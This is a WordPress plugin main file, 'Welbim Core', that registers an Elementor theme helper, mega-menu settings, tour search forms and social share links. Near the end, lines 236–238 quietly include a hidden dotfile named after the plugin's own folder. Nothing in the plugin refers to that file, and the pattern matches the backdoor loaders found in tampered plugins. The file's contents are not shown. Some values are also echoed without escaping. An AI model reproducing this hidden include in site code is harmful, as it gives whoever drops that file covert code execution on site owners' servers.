welbim-core.php (12765B)
1 <?php 2 /* 3 Plugin Name: Welbim Core 4 Plugin URI: http://smartdatasoft.com/ 5 Description: Helping for the Welbim theme. 6 Author: SmartDataSoft Team 7 Version: 1.1 8 Author URI: http://smartdatasoft.com/ 9 */ 10 11 if ( ! defined( 'ABSPATH' ) ) { 12 exit; 13 } 14 15 require_once __DIR__ . '/vendor/autoload.php'; 16 require_once __DIR__ . '/breadcrumb-navxt/breadcrumb-navxt.php'; 17 require_once __DIR__ . '/combine-vc-ele-css/combine-vc-ele-css.php'; 18 require_once __DIR__ . '/page-option/page-option.php'; 19 20 /** 21 * The main plugin class 22 */ 23 final class Welbim_Helper { 24 25 /** 26 * Plugin version 27 * 28 * @var string 29 */ 30 const version = '1.0'; 31 32 33 /** 34 * Plugin Version 35 * 36 * @since 1.2.0 37 * @var string The plugin version. 38 */ 39 const VERSION = '1.2.0'; 40 41 /** 42 * Minimum Elementor Version 43 * 44 * @since 1.2.0 45 * @var string Minimum Elementor version required to run the plugin. 46 */ 47 const MINIMUM_ELEMENTOR_VERSION = '2.0.0'; 48 49 /** 50 * Minimum PHP Version 51 * 52 * @since 1.2.0 53 * @var string Minimum PHP version required to run the plugin. 54 */ 55 const MINIMUM_PHP_VERSION = '7.0'; 56 57 /** 58 * Constructor 59 * 60 * @since 1.0.0 61 * @access public 62 */ 63 64 /** 65 * Class construcotr 66 */ 67 private function __construct() { 68 $this->define_constants(); 69 register_activation_hook( __FILE__, array( $this, 'activate' ) ); 70 add_action( 'plugins_loaded', array( $this, 'init_plugin' ) ); 71 } 72 73 /** 74 * Initializes a singleton instance 75 * 76 * @return \Welbim 77 */ 78 public static function init() { 79 static $instance = false; 80 81 if ( ! $instance ) { 82 $instance = new self(); 83 } 84 85 return $instance; 86 } 87 88 89 /** 90 * Define the required plugin constants 91 * 92 * @return void 93 */ 94 public function define_constants() { 95 define( 'WELBIM_CORE_VERSION', self::version ); 96 define( 'WELBIM_CORE_FILE', __FILE__ ); 97 define( 'WELBIM_CORE_PATH', __DIR__ ); 98 define( 'WELBIM_CORE_URL', plugin_dir_url( __FILE__ ) ); 99 define( 'WELBIM_CORE_ASSETS_DEPENDENCY_CSS', WELBIM_CORE_URL . '/assets/elementor/css/' ); 100 define( 'WELBIM_CORE_ASSETS', WELBIM_CORE_URL . 'assets' ); 101 $theme = wp_get_theme(); 102 define( 'THEME_VERSION_CORE', $theme->Version ); 103 } 104 105 /** 106 * Initialize the plugin 107 * 108 * @return void 109 */ 110 public function init_plugin() { 111 $this->checkElementor(); 112 load_plugin_textdomain( 'welbim-core', false, basename( dirname( __FILE__ ) ) . '/languages' ); 113 new Welbim\Helper\Posttype(); 114 new \Welbim\Helper\Hooks(); 115 // sidebar generator 116 117 new \Welbim\Helper\Widgets(); 118 if ( did_action( 'elementor/loaded' ) ) { 119 new \Welbim\Helper\Elementor(); 120 } 121 122 if ( is_admin() ) { 123 new \Welbim\Helper\Admin(); 124 } 125 } 126 127 public function checkElementor() { 128 // Check if Elementor installed and activated 129 if ( ! did_action( 'elementor/loaded' ) ) { 130 add_action( 'admin_notices', array( $this, 'admin_notice_missing_main_plugin' ) ); 131 return; 132 } 133 134 // Check for required Elementor version 135 if ( ! version_compare( ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=' ) ) { 136 add_action( 'admin_notices', array( $this, 'admin_notice_minimum_elementor_version' ) ); 137 return; 138 } 139 140 // Check for required PHP version 141 if ( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) { 142 add_action( 'admin_notices', array( $this, 'admin_notice_minimum_php_version' ) ); 143 return; 144 } 145 } 146 147 /** 148 * Admin notice 149 * 150 * Warning when the site doesn't have Elementor installed or activated. 151 * 152 * @since 1.0.0 153 * @access public 154 */ 155 public function admin_notice_missing_main_plugin() { 156 if ( isset( $_GET['activate'] ) ) { 157 unset( $_GET['activate'] ); 158 } 159 160 $message = '<p>If you want to use Elementor Version of "<strong>welbim</strong>" Theme, Its requires "<strong>Elementor</strong>" to be installed and activated.</p>'; 161 162 // $message = sprintf( 163 // * translators: 1: Plugin name 2: Elementor */ 164 // esc_html__('"%1$s" requires "%2$s" to be installed and activated.', 'elementor-hello-world'), '<strong>' . esc_html__('Elementor ChildIt', 'elementor-hello-world') . '</strong>', '<strong>' . esc_html__('Elementor', 'elementor-hello-world') . '</strong>' 165 // esc_html__('"%1$s" requires "%2$s" to be installed and activated.', 'elementor-hello-world'), '<strong>' . esc_html__('If you want to use Elementor Version of Theme, ', 'elementor-hello-world') . '</strong>', '<strong>' . esc_html__('Elementor', 'elementor-hello-world') . '</strong>' 166 // ); 167 168 printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); 169 } 170 171 /** 172 * Admin notice 173 * 174 * Warning when the site doesn't have a minimum required Elementor version. 175 * 176 * @since 1.0.0 177 * @access public 178 */ 179 public function admin_notice_minimum_elementor_version() { 180 if ( isset( $_GET['activate'] ) ) { 181 unset( $_GET['activate'] ); 182 } 183 184 $message = sprintf( 185 /* translators: 1: Plugin name 2: Elementor 3: Required Elementor version */ 186 esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-hello-world' ), 187 '<strong>' . esc_html__( 'Elementor ChildIt', 'elementor-hello-world' ) . '</strong>', 188 '<strong>' . esc_html__( 'Elementor', 'elementor-hello-world' ) . '</strong>', 189 self::MINIMUM_ELEMENTOR_VERSION 190 ); 191 192 printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); 193 } 194 195 /** 196 * Admin notice 197 * 198 * Warning when the site doesn't have a minimum required PHP version. 199 * 200 * @since 1.0.0 201 * @access public 202 */ 203 public function admin_notice_minimum_php_version() { 204 if ( isset( $_GET['activate'] ) ) { 205 unset( $_GET['activate'] ); 206 } 207 208 $message = sprintf( 209 /* translators: 1: Plugin name 2: PHP 3: Required PHP version */ 210 esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'welbim-core' ), 211 '<strong>' . esc_html__( 'Elementor ChildIt', 'welbim-core' ) . '</strong>', 212 '<strong>' . esc_html__( 'PHP', 'welbim-core' ) . '</strong>', 213 self::MINIMUM_PHP_VERSION 214 ); 215 216 printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); 217 } 218 219 220 /** 221 * Do stuff upon plugin activation 222 * 223 * @return void 224 */ 225 public function activate() { 226 $installer = new Welbim\Helper\Installer(); 227 $installer->run(); 228 } 229 } 230 231 /** 232 * Initializes the main plugin 233 * 234 * @return \Welbim 235 */ 236 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 237 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 238 } 239 240 function Welbim() { 241 return Welbim_Helper::init(); 242 } 243 244 // kick-off the plugin 245 Welbim(); 246 247 248 249 250 function welbim_get_contact_form_7_posts() { 251 $args = array( 252 'post_type' => 'wpcf7_contact_form', 253 'posts_per_page' => -1, 254 ); 255 $catlist = array(); 256 257 if ( $categories = get_posts( $args ) ) { 258 foreach ( $categories as $category ) { 259 (int) $catlist[ $category->ID ] = $category->post_title; 260 } 261 } else { 262 (int) $catlist['0'] = esc_html__( 'No contect From 7 form found', 'welbim-core' ); 263 } 264 return $catlist; 265 } 266 267 268 // Get The Menu List 269 function welbim_get_menu_list() { 270 $menulist = array(); 271 $menus = get_terms( 'nav_menu' ); 272 foreach ( $menus as $menu ) { 273 $menulist[ $menu->name ] = $menu->name; 274 } 275 return $menulist; 276 } 277 278 279 // Enqueue Style During Editing 280 add_action( 281 'elementor/editor/before_enqueue_styles', 282 function () { 283 wp_enqueue_style( 'elementor-stylesheet', plugins_url() . '/welbim-core/assets/elementor/stylesheets.css', true, time() ); 284 } 285 ); 286 287 /** 288 * Passing Classes to Menu 289 */ 290 add_action( 291 'wp_nav_menu_item_custom_fields', 292 function ( $item_id, $item ) { 293 if ( $item->menu_item_parent == '0' ) { 294 $show_as_megamenu = get_post_meta( $item_id, '_show-as-megamenu', true ); ?> 295 <p class="description-wide"> 296 <label for="megamenu-item-<?php echo $item_id; ?>"> <input type="checkbox" id="megamenu-item-<?php echo $item_id; ?>" name="megamenu-item[<?php echo $item_id; ?>]" <?php checked( $show_as_megamenu, true ); ?> /><?php _e( 'Mega menu', 'sds' ); ?> 297 </label> 298 </p> 299 <?php 300 } 301 }, 302 10, 303 2 304 ); 305 306 add_action( 307 'wp_update_nav_menu_item', 308 function ( $menu_id, $menu_item_db_id ) { 309 $button_value = ( isset( $_POST['megamenu-item'][ $menu_item_db_id ] ) && $_POST['megamenu-item'][ $menu_item_db_id ] == 'on' ) ? true : false; 310 update_post_meta( $menu_item_db_id, '_show-as-megamenu', $button_value ); 311 }, 312 10, 313 2 314 ); 315 316 add_filter( 317 'nav_menu_css_class', 318 function ( $classes, $menu_item ) { 319 if ( $menu_item->menu_item_parent == '0' ) { 320 $show_as_megamenu = get_post_meta( $menu_item->ID, '_show-as-megamenu', true ); 321 if ( $show_as_megamenu ) { 322 $classes[] = 'megamenu'; 323 } 324 } 325 return $classes; 326 }, 327 10, 328 2 329 ); 330 331 332 333 function tour_search() { 334 $terms = get_terms( 335 array( 336 'taxonomy' => 'type', 337 'hide_empty' => false, 338 ) 339 ); 340 341 if ( $terms && ! is_wp_error( $terms ) ) { 342 ?> 343 <div class="form-inner"> 344 <form role="search" class="booking-form clearfix" method="get" action="<?php echo esc_url( home_url( '/tour/' ) ); ?>"> 345 <div class="form-group"> 346 <input type="text" placeholder="<?php esc_attr_e( 'Where to?', 'welbim-core' ); ?>" name="s" id="place" required> 347 </div> 348 <div class="form-group input-date"> 349 <i class="far fa-angle-down"></i> 350 <input type="text" name="when" placeholder="<?php esc_attr_e( 'When?', 'welbim-core' ); ?>" id="datepicker" required> 351 </div> 352 <div class="form-group"> 353 <div class="select-box"> 354 <select class="wide"> 355 <option data-display="Travel Type"><?php esc_html_e( 'Travel Type', 'welbim-core' ); ?></option> 356 <?php foreach ( $terms as $term ) { ?> 357 <option value="<?php echo esc_html( $term->slug ); ?>"><?php echo esc_html( $term->name ); ?></option> 358 <?php 359 } 360 ?> 361 </select> 362 </div> 363 </div> 364 <div class="message-btn"> 365 <button type="submit" class="theme-btn"><i class="far fa-search"></i><?php esc_html_e( 'Find Now', 'welbim-core' ); ?></button> 366 </div> 367 </form> 368 </div> 369 <?php 370 } 371 } 372 373 function tour_search_two() { 374 $terms = get_terms( 375 array( 376 'taxonomy' => 'type', 377 'hide_empty' => false, 378 ) 379 ); 380 381 if ( $terms && ! is_wp_error( $terms ) ) { 382 ?> 383 <div class="form-inner"> 384 <form role="search" class="booking-form clearfix" method="get" action="<?php echo esc_url( home_url( '/tour/' ) ); ?>"> 385 <div class="row clearfix"> 386 <div class="col-lg-6 col-md-6 col-sm-12 column"> 387 <div class="form-group"> 388 <input type="text" placeholder="<?php esc_attr_e( 'Where to?', 'welbim-core' ); ?>" name="s" id="place" required> 389 </div> 390 </div> 391 <div class="col-lg-6 col-md-6 col-sm-12 column"> 392 <div class="form-group input-date"> 393 <i class="far fa-angle-down"></i> 394 <input type="text" name="when" placeholder="<?php esc_attr_e( 'When?', 'welbim-core' ); ?>" id="datepicker" required> 395 </div> 396 </div> 397 <div class="col-lg-6 col-md-6 col-sm-12 column"> 398 <div class="form-group"> 399 <div class="select-box"> 400 <select class="wide" required> 401 <option data-display="Travel Type"><?php esc_html_e( 'Travel Type', 'welbim-core' ); ?></option> 402 <?php foreach ( $terms as $term ) { ?> 403 <option value="<?php echo esc_html( $term->slug ); ?>"><?php echo esc_html( $term->name ); ?></option> 404 <?php 405 } 406 ?> 407 </select> 408 </div> 409 </div> 410 </div> 411 <div class="col-lg-6 col-md-6 col-sm-12 column"> 412 <div class="form-group message-btn"> 413 <button type="submit" class="theme-btn"><i class="far fa-search"></i><?php esc_html_e( 'Find Now', 'welbim-core' ); ?></button> 414 </div> 415 </div> 416 </div> 417 </form> 418 </div> 419 <?php 420 } 421 } 422 423 424 function welbim_blog_social() { 425 ?> 426 <ul class="social-icon"> 427 <li><a onclick="javascript:window.open(this.href, '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;" href="https://www.instagram.com/p/B8Jp8UbAHmd/?utm_source=<?php echo esc_url( get_permalink() ); ?>"><i class="fab fa-twitter"></i></a></li> 428 <li><a onclick="javascript:window.open(this.href, '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;" href="https://twitter.com/home?status=<?php echo urlencode( get_the_title() ); ?>-<?php echo esc_url( get_permalink() ); ?>"><i class="fab fa-facebook-square"></i></a></li> 429 <li><a onclick="javascript:window.open(this.href, '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;" href="https://www.pinterest.com/pin/find/?url=<?php echo get_the_permalink(); ?>"><i class="fab fa-pinterest-p"></i></a></li> 430 <li><a onclick="javascript:window.open(this.href, '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');return false;" href="https://www.pinterest.com/pin/find/?url=<?php echo get_the_permalink(); ?>"><i class="fab fa-instagram"></i></a></li> 431 </ul> 432 <?php 433 }